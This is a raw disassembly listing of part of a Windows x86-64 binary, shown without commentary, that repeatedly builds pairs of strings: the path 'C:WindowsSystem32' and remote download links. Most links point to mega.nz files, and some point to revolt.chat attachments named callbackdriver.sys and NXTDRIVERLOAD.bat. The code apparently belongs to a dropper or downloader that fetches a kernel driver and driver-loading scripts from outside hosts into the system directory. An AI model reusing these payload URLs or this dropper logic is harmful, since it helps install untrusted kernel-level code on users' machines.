movups xmmword [rbp + 0xd08], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd18], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xd08]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xce8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xcf8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_xDFklYCS8qNeF9Hnz8IBadhUeiniKNPvDN1NEpjjAAAAAAAAAAA
lea rcx, [rbp + 0xce8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xcc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xcd8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xcc8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xca8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xcb8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_0CMRCI5Ka2hYOv7TvtyBB25VPUjXfOZ0czpuoicAAAAAAAAAAAA
lea rcx, [rbp + 0xca8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xc88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc98], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xc88]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xc68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc78], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_pLERyYJCcHTz_1hBawZiMq7V_pjg7J4ajqurQnjuAAAAAAAAAAA
lea rcx, [rbp + 0xc68]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xc48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc58], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xc48]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xc28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc38], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_1PkEmYIIaeiOE_3_uHnQOSRi5_hc5pmKhWcIhBzxAAAAAAAAAAA
lea rcx, [rbp + 0xc28]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xc08], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc18], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xc08]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xbe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xbf8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_4PtlCYKZktBT82BU_N4LNdB6KOeaizY0RnH07Cb_AAAAAAAAAAA
lea rcx, [rbp + 0xbe8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xbc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xbd8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xbc8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xba8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xbb8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_0DdCECoS_sQsh1aMDroGvNXT6_40JRvXgEssDbLsAAAAAAAAAAA
lea rcx, [rbp + 0xba8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb98], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xb88]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb78], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_tbdHQBQJxtWQoXmGZkxP9W7Jw4hqcv4TZVdUWLFhAAAAAAAAAAA
lea rcx, [rbp + 0xb68]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb58], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xb48]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb38], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_BfFi0ISItrWM9VmKOtWNeEItX54v0jrQsHqYq67uAAAAAAAAAAA
lea rcx, [rbp + 0xb28]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb08], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb18], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xb08]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xae8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xaf8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_BSFAiB7SMca6D7JFQ8jzplhzMLn_1Vkrr4IpBmdJAAAAAAAAAAA
lea rcx, [rbp + 0xae8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xac8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xad8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xac8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xaa8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xab8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_wO8B1AJSDdlIA_COaDaTBrY_5UaOO7u_G_kZa_g5AAAAAAAAAAA
lea rcx, [rbp + 0xaa8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa98], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xa88]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa78], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_lDsTnTYTOf3PeukVNlXgU39nK17LE5zPXQrxFFdbAAAAAAAAAAA
lea rcx, [rbp + 0xa68]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa58], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xa48]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa38], xmm1
mov r8d, 0x64
lea rdx, str.https:__autumn.revolt.chat_attachments_WoKl1ko9gMhWWCbGKDcCb7URYla1ZmnExNjeCXQMcU_callbackdriver.sys
lea rcx, [rbp + 0xa28]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa08], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa18], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xa08]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x9e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x9f8], xmm1
mov r8d, 0x63
lea rdx, str.https:__autumn.revolt.chat_attachments_NT4_lTX4vh19YaiTMuJjziqfWRqukcCV9Cp8zPFs73_NXTDRIVERLOAD.bat
lea rcx, [rbp + 0x9e8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x9c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x9d8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x9c8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x9a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x9b8], xmm1
mov r8d, 0x64
lea rdx, str.https:__autumn.revolt.chat_attachments_MKqa_gbaHApYRtN51oq6m3nqOvsNjIXK_GDPHPYQE1_NXTDRIVERLOAD2.bat
lea rcx, [rbp + 0x9a8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x988], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x998], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x988]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x968], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x978], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_FClh1ajaPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x968]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x948], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x958], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x948]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x928], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x938], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_xDFklYCS8qNeF9Hnz8IBadhUeiniKNPvDN1NEpjjAAAAAAAAAAA
lea rcx, [rbp + 0x928]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x908], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x918], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x908]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x8e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x8f8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_0CMRCI5Ka2hYOv7TvtyBB25VPUjXfOZ0czpuoicAAAAAAAAAAAA
lea rcx, [rbp + 0x8e8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x8c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x8d8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x8c8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x8a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x8b8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_pLERyYJCcHTz_1hBawZiMq7V_pjg7J4ajqurQnjuAAAAAAAAAAA
lea rcx, [rbp + 0x8a8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x888], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x898], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x888]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x868], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x878], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_1PkEmYIIaeiOE_3_uHnQOSRi5_hc5pmKhWcIhBzxAAAAAAAAAAA
lea rcx, [rbp + 0x868]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x848], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x858], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x848]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x828], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x838], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_4PtlCYKZktBT82BU_N4LNdB6KOeaizY0RnH07Cb_AAAAAAAAAAA
lea rcx, [rbp + 0x828]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x808], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x818], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x808]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x7e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x7f8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_0DdCECoS_sQsh1aMDroGvNXT6_40JRvXgEssDbLsAAAAAAAAAAA
lea rcx, [rbp + 0x7e8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x7c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x7d8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x7c8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x7a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x7b8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_tbdHQBQJxtWQoXmGZkxP9W7Jw4hqcv4TZVdUWLFhAAAAAAAAAAA
lea rcx, [rbp + 0x7a8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x788], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x798], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x788]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x768], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x778], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_BfFi0ISItrWM9VmKOtWNeEItX54v0jrQsHqYq67uAAAAAAAAAAA
lea rcx, [rbp + 0x768]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x748], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x758], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x748]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x728], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x738], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_BSFAiB7SMca6D7JFQ8jzplhzMLn_1Vkrr4IpBmdJAAAAAAAAAAA
lea rcx, [rbp + 0x728]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x708], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x718], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x708]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x6e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6f8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_wO8B1AJSDdlIA_COaDaTBrY_5UaOO7u_G_kZa_g5AAAAAAAAAAA
lea rcx, [rbp + 0x6e8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x6c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6d8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x6c8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x6a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6b8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_lDsTnTYTOf3PeukVNlXgU39nK17LE5zPXQrxFFdbAAAAAAAAAAA
lea rcx, [rbp + 0x6a8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x688], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x698], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x688]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x668], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x678], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_oGsAUYgIVbduFcTHtLXgYGkmZQoYeWzxk2iD6yNlAAAAAAAAAAA
lea rcx, [rbp + 0x668]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x648], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x658], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x648]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x628], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x638], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_sG13WLaB1cW75m9N7mtpvhkXYA_YgkBVBigS4_ebAAAAAAAAAAA
lea rcx, [rbp + 0x628]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x608], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x618], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x608]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x5e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5f8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_EWcgCDbZaKeP4LxK94FLQEA4xjsAsosy3DinTeU6AAAAAAAAAAA
lea rcx, [rbp + 0x5e8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x5c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5d8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x5c8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x5a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5b8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_QfczSAxRAWgNn7Yy13gYuMgACntWia8Tsij3G4GpAAAAAAAAAAA
lea rcx, [rbp + 0x5a8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x588], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x598], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x588]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x568], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x578], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_0K0RxLqbX4Y3930btLjF0BtFNP0K9RByhclPBhCZAAAAAAAAAAA
lea rcx, [rbp + 0x568]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x548], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x558], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x548]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x528], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x538], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_dKtCCRQbrwxvYD51gXTO8lWrn723zyokyqAmmP7dAAAAAAAAAAA
lea rcx, [rbp + 0x528]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x508], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x518], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x508]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x4e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4f8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_BXkXUTDY4vHzlk_o5L6eS6lv9gOeJwdrGJV1gNsMAAAAAAAAAAA
lea rcx, [rbp + 0x4e8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x4c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4d8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x4c8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x4a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4b8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_sWV0nYJY8nb4ejH5SLeY3AT3wIwSgqw0ZTpekqK7AAAAAAAAAAA
lea rcx, [rbp + 0x4a8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x488], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x498], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x488]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x468], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x478], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_VC9BVRQQPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x468]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x448], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x458], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x448]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x428], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x438], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_AL0AkLRQsWtU7boDO6wP8d4E1tQE59M1BMN96nPYAAAAAAAAAAA
lea rcx, [rbp + 0x428]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x408], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x418], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x408]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3f8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_9bsmiZhKfvND_lKq9MOHnAnSBUvUF5iCOdUROiVHAAAAAAAAAAA
lea rcx, [rbp + 0x3e8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3d8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x3c8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3b8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_MKFmmbyIVI6VVPer8QdlbtpQOMCyDdVRys52cc4PAAAAAAAAAAA
lea rcx, [rbp + 0x3a8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x388], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x398], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x388]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x368], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x378], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_AW1U3BDYrC9Fq8Zr7UOcsA4Kb13IuDUUcfMx_J6QAAAAAAAAAAA
lea rcx, [rbp + 0x368]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x348], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x358], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x348]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x328], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x338], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_lX0VQKJJDw9Q8Amttpvnn224czsThhydeWrwuJDWAAAAAAAAAAA
lea rcx, [rbp + 0x328]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x308], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x318], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x308]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2f8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_BD9A0ZKbMV7BfJk1BoVn2_px3OemSCDDPG2lQKxWAAAAAAAAAAA
lea rcx, [rbp + 0x2e8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2d8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x2c8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2b8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_lW9lhRqCTH1q_Vz4OIuVb7PYj_22U1P7MgdGTr8vAAAAAAAAAAA
lea rcx, [rbp + 0x2a8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x288], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x298], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x288]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x268], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x278], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_gL11kRjCx0SZ1u5br1GHmWBsf7ynaiFqaO32OdRRAAAAAAAAAAA
lea rcx, [rbp + 0x268]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x248], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x258], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x248]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x228], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x238], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_lTkjzYhA_Os_nCDvCITyRKa1xag0uLMdHZHjvGpFAAAAAAAAAAA
lea rcx, [rbp + 0x228]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x208], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x218], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x208]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1f8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_lLFUEJTbjU_eDXPQ3M53csJYZMhJanQpFhhXrAhWAAAAAAAAAAA
lea rcx, [rbp + 0x1e8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1d8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1c8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1b8], xmm1
mov r8d, 0x49
